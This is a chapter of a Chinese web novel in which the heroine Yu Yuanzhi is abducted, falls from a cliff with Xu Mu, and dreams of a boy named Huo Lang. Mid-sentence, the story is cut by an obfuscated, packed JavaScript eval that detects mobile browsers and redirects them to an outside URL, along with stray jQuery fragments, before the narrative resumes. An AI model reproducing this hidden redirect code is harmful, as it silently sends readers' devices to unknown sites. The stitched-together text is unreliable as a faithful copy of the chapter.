61. 霁光篇·十六

作品:《重生之后 谨慎点爱

    马车驶过山路,俞沅之被颠簸震醒,昏昏沉沉枕在一块硬木板上,她稍微动了下侧躺的身体,手脚都由麻绳捆着。


    勉强睁开眼,一团杂乱稻草映入眸中,焦味浓烈刺鼻,稀疏草缝透出丁点光亮,晃得她双目刺痛,尝试发声,但喉咙又紧又涩,细若游丝。


    俞沅之咬住下唇,以痛感迫使自己镇定,手指摸索着束缚的麻绳,一点一点,一寸一寸,试图将其扯松些,以便脱身。


    眼下她没心思思量是谁意图不轨,目的又是什么,全部精力都集中在自救之上。


    然而腕伤未愈,不待解开麻绳,撕裂的痛令她大汗淋漓,鬓发湿透,当决定咬牙再试一次时,身体突然被动向后滚,头重重磕在木板上。


    一个急停。


    -


    车外。


    刘护卫慌张用黑布遮住口鼻。


    眼前仅一条窄道通行,却有驾马车横堵在中间,挡住去路。


    窄道右为高山,左为悬崖,除非掉转回头,否则无处可躲。


    “兄台,这车轮掉了,一时恐挪动不得,若要过去,需耐心等一等,待车夫将它修好。”


    红衣男子用脚踢了下木轱辘,唉声叹气,连连摇头。


    刘护卫汗流浃背,不敢开口应声,眼珠四处乱瞟,生怕被认出身份。


    俞沅之躺在车厢里,听见对方声音那刻,曙光乍现。


    是世子!


    惊喜之余,质疑接踵而来,为何他会出现在此地?


    徐慕再度开口,这次距离更近些,她屏住呼吸仔细辨听。


    “我说……你这马车里放着何物啊?”


    “稻草。”


    男子嗓音低沉,匆忙回应。


    “稻草?随处可见何需遮挡,瞧你鬼鬼祟祟,莫不是藏了什么见不得光的东西?”


    徐慕笑声颇为随意。


    俞沅之心急如焚,纵使怀疑,也不愿错过任何求生契机,她用力喊着救命二字,奈何嗓音沙哑,外面很难听清。


    灵机一动,她抬起双腿撞击车板,发出咚咚声响。


    刘护卫慌了,高声掩饰道:“还……还有我娘,我娘在里面!我娘见不得外男!”


    “呦,那你娘这是……叫你呢?是渴了还是饿了?还不快掀开帘子瞧瞧!”徐慕挑眉道。


    男子手忙脚乱,作势就要将马车掉转回路。


    徐慕唇角翘起,语气佯装愤怒,大吼一声:“落荒而逃,必有古怪!”


    马车在原地转了个圈。


    车内的俞沅之头晕目眩,耳边充斥着拳脚相碰的打斗声。


    此时,车外的刘护卫已离开驭马位,被徐慕几招逼到崖边,一脚踏空险些仰坠,吓得奋力回挺……不料窥见世子脸上,浮现一丝古怪笑意。


    男子毛骨悚然,迅速空翻跃上马背,扬鞭欲逃,徐慕从后一掌将其击落在地,但皮鞭恰好抽中马臀。


    棕马狂躁嘶鸣,前蹄腾空而起,仓皇奔窜,车厢在冲击下断了一根绑绳,顺力撞上右侧山石!


    徐慕回头瞬间,笑意全无。


    车厢侧翻,如同左右摆动的硕大鱼尾,从右边山石弹至左边悬崖,一抹雾蓝被甩至崖边,继而消失在眼前……


    他没有丝毫犹豫,飞身向下!


    崖体几乎是竖直的,极其陡峭。


    远远望去,两道身影停留在中段,一道红影在上,单臂扣住凸起石块,另一只手臂拉着一道蓝影,悬在半空中。


    崖底绿荫浓密,然而落在俞沅之眼里,却是无穷尽的黑暗,风声从耳畔呼啸而过,她被巨大的恐慌紧紧攫住,纵使午后烈阳直打在身上,纵使衣衫已被汗水浸透,也感觉不到丁点温热。


    仰起头,徐慕抓住她的手在不住地颤抖。


    “放……放开!”


    俞沅之声音微弱,徐慕听不到。


    听到也迟了。


    男子汗如雨下,右掌血渍斑斑,血缓缓渗在岩石上,愈发湿滑,黏腻。


    撑不住了……


    但他不想放手。


    砰!砰!


    响声隐没于崖底山林之中。


    -


    日光穿透叶片,稀稀疏疏扑洒在身上,虫鸣杂乱无章,俞沅之安静躺在草丛里。


    还活着,仅这一刻。


    她不晓得自己伤在何处,身体像被巨石砸中,齿间满是血腥味道。


    捆住手脚的麻绳,在下坠途中被树枝割断大半,虽然没了束缚,可是俞沅之依旧爬不起来。


    太累了,她想休息一会儿。


    太疼了,她想娘。


    眼泪不争气地涌出,流在肌肤上,火辣辣的,抬手欲擦,胳膊却重得像两块烙铁。


    算了。


    俞沅之记起徐慕。


    车厢翻倒,她被抛下悬崖,徐慕强行扯住她绑在一起的手臂。


    一同挂在半空中,一同摔入深林里。


    她咬咬牙,用手肘强撑起身体,大口大口喘着气,视线扫过四周。


    距她不远处,一块无树木庇荫的沙地里,一团红色鲜亮夺目。


    俞沅之缓缓朝那团红挪动,靠得越近,红色越黯淡发灰,直至瞧清男子惨白的脸,她停了下来。


    徐慕一动不动,脸上被烈日晒至脱皮,华贵衣衫已然变得破破烂烂,右衣袖不剩什么布料,自手掌向上,血肉模糊。


    他似乎伤得更重。


    “醒醒……”


    俞沅之的声音依旧沙哑,她用力伸手,拍了下徐慕的肩膀。


    “醒醒啊……”


    -


    徐慕是被砸醒的。


    硬物砸到他的胸腔,呛得他一声猛咳,眼睫勉强扯开条缝隙。


    “嫌犯”是一枚青色圆果,有几处虫洞,从身上滚落,掉进沙地里。


    徐慕艰难侧过头,瞧见近处的俞沅之背靠树干,正费力向上丢石子,树上结的果子与砸中自己的一模一样。


    女子的雾蓝罗裙沾满血印,乌黑长发松散垂下,脸上灰扑扑的,额头、脖颈擦痕明显,手腕绑带被血浸透。


    虽然模样狼狈不堪,但那双眼睛澄澈明亮,像黑夜里的星子,熠熠发光,干净纯粹。


    徐慕呆呆望着她,又在她看过来时不由自主地逃避对视。


    他心虚。


    计划瞬息万变,纵使算准每一步,也难保没有意外发生,不过他想不通,为何自己会不假思索舍命相救。


    “你醒了。”


    俞沅之一字一字发音,尽量说得清楚。


    沙哑声落入男子耳中,心口莫名被揪起。


    “可以吃。”


    徐慕闻声看向沾土的果子,他的嗓子干涩得冒烟,想要伸手拿,但抬不起胳膊。


    “能走吗?”他哽咽问道。


    俞沅之斜靠树干,笑着摇摇头,疲惫又无奈。


    徐慕沉默,叹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596227|165870||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了口气,几只飞禽振翅从眼前掠过,他不识得。


    俞沅之平静道:“如果……你能活下去,把我……送回……娘身边……”


    她的灵魂,不想孤零零游荡。


    “如果……”俞沅之将喉咙血腥用力咽下,停顿须臾,“这些果子……报你……恩。”


    亡于此地,命数使然。


    她无力地闭上眼睛,她哭不出来,因为太累了。


    七零八落的青果,几乎要了她余下的命。


    徐慕双眼充血,苦涩在心间蔓延开来,他或许意识到,自己并不愿见她受伤,顾不得剧痛,竟拼力去拽俞沅之缓缓垂落的手。


    道不明是何情绪,他如同身陷豺群之中,被不断地撕扯,痛不欲生。


    差那么一点,还是牵不到。


    烈日当空,徐慕被热气蒸得几近窒息,身体滚烫,如同烤焦的木棍,他歪头盯住果子,突然像狗一样用牙咬住它,清甜汁水缓慢渗到干涸的喉咙中,带来一丝凉意。


    他望向沉睡的人,笑着流下泪。


    -


    睡梦里并非盛夏,而是寒冬。


    浑浑噩噩,俞沅之仿佛飘荡至悬崖边,身后陆续变为故土密林,一个模糊不清的身影逆光而立,缓缓朝她走来。


    坠崖……


    这世上有多少人,在坠崖前一刻,不渴望抓住根救命稻草?又有多少人,坠崖之后活了下来?


    闭上眼,寒蝉哀鸣,那道身影轻轻捂住她的耳朵。


    俞沅之回到了八岁那年。


    她刚刚学会写名字,字迹歪扭,在后林山洞,遇到一个浑身是血的少年。


    她向跛脚郎中讨了一点药散,又将阿娘做的腊梅花糕小心翼翼放到旁边。


    少年像狼,靠近便凶得呲牙,和娘一样,不会说话。


    俞沅之怜悯他贫苦,寒冬腊月衣衫单薄,还被打得伤痕累累。


    腊月初七,她悄悄来到山洞,想送给他一块烤番薯,热腾腾的,充饥驱寒,奈何寻遍后林都没有见到人。


    翌日黄昏,她背着竹篓进林,原打算捡些旁人不要的柴,却瞧见数列枯木后,一个清瘦身影岿然不动,立在凛风中。


    少年距崖边极近,低头望着幽深峡谷。


    她跑向他。


    她跑得飞快。


    “那里危险!”


    俞沅之脱口而出,但浑然忘了,对方不会说话,自从相遇就没有说过一句话。


    未料听到她的声音,少年面无表情回头。


    他的嘴唇被冻得开裂,裸露在外的手背皮开肉绽。


    “你叫什么名字?”他问。


    “原来你会说话。”


    他默然,不待回答,随即转向峡谷,纵身一跃……


    深渊像头嗜血睚眦,张开血盆大口,将少年吞没。


    俞沅之趴在崖边伸出小小的手,可惜太迟,眼泪划过脸颊,仰起头,漫天琥珀金辉。


    “你叫什么名字?”


    她在梦中喃喃。


    “霍琅。”


    他在梦中回应。


    辨不清是现实,又或是梦境,那道模糊身影逐渐清晰。


    有人从崖边纵身跃下。


    有人坠在山底奔向她。


    有人将她抱起,紧紧护在怀中。


    两颗剧烈跳动的心贴在一处,俞沅之仿佛嗅到淡淡的雪松香……


    她在梦中,告别了吗?